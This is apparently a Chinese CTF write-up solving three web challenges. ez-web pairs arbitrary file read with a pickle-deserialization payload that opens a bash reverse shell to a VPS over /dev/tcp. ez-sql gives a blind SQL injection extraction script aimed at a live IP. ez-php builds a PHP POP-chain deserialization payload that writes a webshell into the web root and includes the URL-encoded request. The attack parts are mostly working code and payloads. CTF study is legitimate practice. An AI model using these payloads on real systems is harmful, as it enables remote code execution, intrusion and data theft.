ez-web
进入题目在注释里看到<!-- ?pic=1.jpg -->
加上提示flask,?pic=app.py
直接读取到app.py,然后base64解码得到:
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file
app = Flask(__name__)
class User():
def __init__(self,name,age):
self.name = name
self.age = age
def check(s):
if b'R' in s:
return 0
return 1
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))
try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
return render_template('index.html', uname=username, pic=p )
if __name__ == "__main__":
app.run('0.0.0.0')
/flag没有啥东西,注意到user = pickle.loads(user)
,想到可以利用opcode来RCE,但是过滤了R
,可以用o
,构造Payload:
import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/VPS/7777 0>&1"'
o.'''
print(base64.b64encode(data))
服务器上监听7777端口,然后将得到的payload写入cookie:user=PAYLOAD
请求页面得到反弹Shell,然后需要ls -al /
来列出包括隐藏文件在内(flag在隐藏文件中)的文件:
然后cat /.ffffffffllllllllllllaaaaag
即可获得flag:flag{a806de95e0fd1e1ba5de6ed1ef20adb2}
ez-sql
InCTF2021原题,参考https://blog.bi0s.in/2021/08/15/Web/Vuln-Drive-InCTF-Internationals-2021/ 的exp,改一下表名和字段就出来了:
import requests
url="http://116.62.239.41:4323/"
flag=''
flaga=""
for i in range(1, 100):
for c in '1234567890abcdefghijklmnopqrstuvwxyz':
payload=flaga+str(hex(ord(c)))[2:]
sql = f'1,username from user where password like 0x{payload}25 union select 1'
r = requests.get(url+ f'?sql1=%2527&sql2={sql}')
if 'nop' in r.text:
flaga = flaga+str(hex(ord(c)))[2:]
flag+=c
break
print(flag)
包裹flag{}提交
ez-php
l3m0n师傅放在博客的原题改了改又拿出来用了:
<?php
highlight_file(__FILE__);
class c4t
{
protected $blacklists = array("GET", "POST", "system", "eval", "cat", "tail", "head", "tac", "more", "less", "nl", "sort", "$", "%");
function filter($data)
{
foreach ($this->blacklists as $filters) {
if (strstr($data, $filters)) {
exit("bad,bad,hacker");
}
}
if (';' === preg_replace('/[a-z]+((?R)?)/', "6666", $data)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $data)) {
exit("Go,away!");
}
return $data;
}
return $data;
}
};
class yang
{
protected $filters;
protected $endl;
function __construct($filters, $endl)
{
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt)
{
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('
', $this->endl, $txt);
return $txt;
}
};
class host
{
protected $filename;
protected $format;
function __construct($filename, $format)
{
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt)
{
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
}
};
class xin
{
protected $logwriter;
function __construct($writer)
{
$this->logwriter = $writer;
}
function log($txt)
{
$this->logwriter->writeLog($txt);
}
};
class v0id
{
protected $xin;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url)
{
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new c4t("/[i](.*)[/i]/i", "<i>\1</i>");
$this->xin = new xin(new host("song_views", new yang(array($fltr), "
")));
}
function __toString()
{
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log()
{
$this->xin->log("v0id " . $this->name . " by [i]" . $this->group . "[/i] viewed.
");
}
function get_name()
{
return $this->name;
}
}
class fz
{
protected $fz;
protected $v0id;
function __construct($fz, $v0id)
{
$this->v0id = $v0id;
$this->fz = $fz;
}
function __toString()
{
return "<p>" . $this->v0id->__toString() . "</p><p>" . str_replace("
", "<br />", $this->fz) . "</p>
";
}
function __destruct()
{
$this->v0id->log();
}
function shortForm()
{
return "<p><a href='v0id.php?name=" . urlencode($this->v0id->get_name()) . "'>" . $this->v0id->get_name() . "</a></p>";
}
function name_is($name)
{
return $this->v0id->get_name() === $name;
}
};
class Orz
{
static function addLyrics($fz)
{
$oldlyrics = array();
if (isset($_COOKIE['fz'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['fz']));
}
foreach ($fz as $lyric) $oldlyrics[] = $lyric;
setcookie('fz', base64_encode(serialize($oldlyrics)));
}
static function getLyrics()
{
if (isset($_COOKIE['fz'])) {
return unserialize(base64_decode($_COOKIE['fz']));
} else {
setcookie('fz', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};
class bolean
{
static function exportData($fz)
{
return base64_encode(serialize($fz));
}
static function importData($fz)
{
return serialize(base64_decode($fz));
}
};
class ymnh
{
protected $ymnh;
function __construct($dbuser, $dbpass, $db)
{
$this->ymnh = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}
function getLyrics($fz)
{
$r = array();
foreach ($fz as $lyric) {
$s = intval($lyric);
$result = $this->ymnh->query("SELECT data FROM fz WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r[] = unserialize(base64_decode($row[0]));
}
}
return $r;
}
function addLyrics($fz)
{
$ids = array();
foreach ($fz as $lyric) {
$this->ymnh->query("INSERT INTO fz (data) VALUES ("" . base64_encode(serialize($lyric)) . "")");
$res = $this->ymnh->query("SELECT MAX(id) FROM fz");
$id = $res->fetch_row();
$ids[] = intval($id[0]);
}
echo var_dump($ids);
return $ids;
}
function __destruct()
{
$this->ymnh->close();
$this->ymnh = NULL;
}
};
@unserialize($_POST['a']);
Pop链构造,还是先找找析构函数来入手,发现了两个析构函数:
//fz类
function __destruct()
{
$this->v0id->log();
}
//ymnh类
function __destruct()
{
$this->ymnh->close();
$this->ymnh = NULL;
}
大概看一下ymnh类的析构函数并没有什么用,还是跟进v0id类的log方法:
class v0id
{
protected $xin;
protected $name;
protected $group;
function log()
{
$this->xin->log("v0id " . $this->name . " by [i]" . $this->group . "[/i] viewed.
");
}
}
跟进xin类的log方法:
class xin
{
protected $logwriter;
function log($txt)
{
$this->logwriter->writeLog($txt);
}
};
这里的$logwriter
可控,因此可以调用到任意类的writeLog
方法,跟进host类的writeLog
方法:
class host
{
protected $filename;
protected $format;
function __construct($filename, $format)
{
$this->format = $format;
$this->filename = $filename;
}
function writeLog($txt)
{
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
}
}
同样的$format
字段可控,可以调用到yang类的format方法:
class yang
{
protected $filters;
protected $endl;
function __construct($filters, $endl)
{
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt)
{
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('
', $this->endl, $txt);
return $txt;
}
};
这里是可以给$filter
传一个空数组,这样就可以不调用c4t类中的检测方法。
同时c4t下面的这段过滤是无效的:
if (';' === preg_replace('/[a-z]+((?R)?)/', "6666", $data)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $data)) {
exit("Go,away!");
}
return $data;
}
因为';' === preg_replace('/[a-z]+((?R)?)/', "6666", $data)
是恒为False
的,所以不会进入进一步的判断。
参考php 反序列化POP链的构造与理解改一改就可以构造出payload:
<?php
class yang {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
}
class host {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->format = $format;
$this->filename = $filename;
}
}
class xin {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
}
class v0id {
protected $xin;
protected $name;
protected $group;
function __construct($name, $group, $logger) {
$this->name = $name;
$this->group = $group;
$this->xin = $logger;
}
}
class fz {
protected $fz;
protected $v0id;
function __construct($fz, $v0id) {
$this->v0id = $v0id;
$this->fz = $fz;
}
}
$logfileformat = new yang(array(), "a");
$log_write_file = new host('../../../../var/www/html/y3.php', $logfileformat);
$logger = new xin($log_write_file);
$song = new v0id('JrXnm','<?php system("cat ./*");?>', $logger);
$lyrics = new fz('JrXnm',$song);
echo urlencode(serialize($lyrics));
POST:
a=O%3A2%3A%22fz%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00fz%22%3Bs%3A5%3A%22JrXnm%22%3Bs%3A7%3A%22%00%2A%00v0id%22%3BO%3A4%3A%22v0id%22%3A3%3A%7Bs%3A6%3A%22%00%2A%00xin%22%3BO%3A3%3A%22xin%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A4%3A%22host%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A31%3A%22..%2F..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fy3.php%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A4%3A%22yang%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A1%3A%22%0A%22%3B%7D%7D%7Ds%3A7%3A%22%00%2A%00name%22%3Bs%3A5%3A%22JrXnm%22%3Bs%3A8%3A%22%00%2A%00group%22%3Bs%3A25%3A%22%3C%3Fphp+system%28%22cat+.%2F%2A%22%29%3F%3E%22%3B%7D%7D
感谢Frank师傅和CyXq师傅对本文几处错误的指正,已经进行了更正~